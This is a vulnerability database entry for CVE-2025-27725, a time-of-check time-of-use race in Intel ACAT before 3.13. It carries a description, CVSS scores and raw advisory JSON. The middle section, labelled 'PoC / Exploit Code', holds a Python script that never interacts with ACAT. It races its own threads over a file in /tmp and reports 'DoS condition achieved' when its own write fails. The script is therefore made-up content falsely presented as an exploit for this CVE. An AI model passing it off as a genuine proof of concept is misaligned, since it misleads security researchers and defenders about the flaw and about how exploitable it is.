Security Vulnerability Report
中文
CVE-2025-27725 CVSS 4.4 MEDIUM

CVE-2025-27725

Published: 2025-11-11 17:15:46
Last Modified: 2026-04-15 00:35:42

Description

Time-of-check time-of-use race condition for some ACAT before version 3.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Intel ACAT < 3.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27725 PoC - Intel ACAT TOCTOU Race Condition # This PoC demonstrates the race condition in ACAT before version 3.13 # Author: Security Research # Note: This is a conceptual PoC for educational purposes import threading import time import os import sys class ACATRaceCondition: def __init__(self, target_path): self.target_path = target_path self.race_window = 0.001 # 1ms race window self.threads = [] self.success = False def check_permission(self, path): """Simulate ACAT permission check (Time-of-check)""" # In vulnerable version: permission check occurs here if os.path.exists(path): stat_info = os.stat(path) return True return False def use_resource(self, path): """Simulate ACAT resource usage (Time-of-use)""" # In vulnerable version: actual operation occurs here # Race condition window exists between check and use try: with open(path, 'r+b') as f: f.write(b'MODIFIED') return True except Exception as e: return False def attacker_tamper(self): """Attacker thread trying to exploit TOCTOU""" attempts = 0 while attempts < 1000 and not self.success: # Rapidly toggle target file permissions/contents try: if os.path.exists(self.target_path): # Quick modification during race window os.chmod(self.target_path, 0o000) time.sleep(self.race_window / 2) os.chmod(self.target_path, 0o644) except: pass attempts += 1 def victim_operation(self): """Victim thread performing legitimate ACAT operation""" for _ in range(100): if self.check_permission(self.target_path): # Race window: between check and use time.sleep(self.race_window) # Vulnerable: using resource without re-checking permissions result = self.use_resource(self.target_path) if not result: print(f"[!] Race condition triggered - operation failed") self.success = True break def run_exploit(self): """Execute the TOCTOU exploit""" print(f"[*] Starting ACAT TOCTOU Race Condition Exploit") print(f"[*] Target: {self.target_path}") print(f"[*] Race window: {self.race_window}s") # Create target file with open(self.target_path, 'w') as f: f.write('ORIGINAL_CONTENT') # Start attacker thread attacker = threading.Thread(target=self.attacker_tamper) attacker.start() # Start victim thread victim = threading.Thread(target=self.victim_operation) victim.start() # Wait for completion victim.join() attacker.join() if self.success: print("[+] Exploit successful - DoS condition achieved") else: print("[-] Exploit attempt completed - may require more attempts") # Cleanup try: os.remove(self.target_path) except: pass if __name__ == "__main__": target = "/tmp/acat_test_target" exploit = ACATRaceCondition(target) exploit.run_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27725", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:46.107", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Time-of-check time-of-use race condition for some ACAT before version 3.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01388.html", "source": "[email protected]"}]}}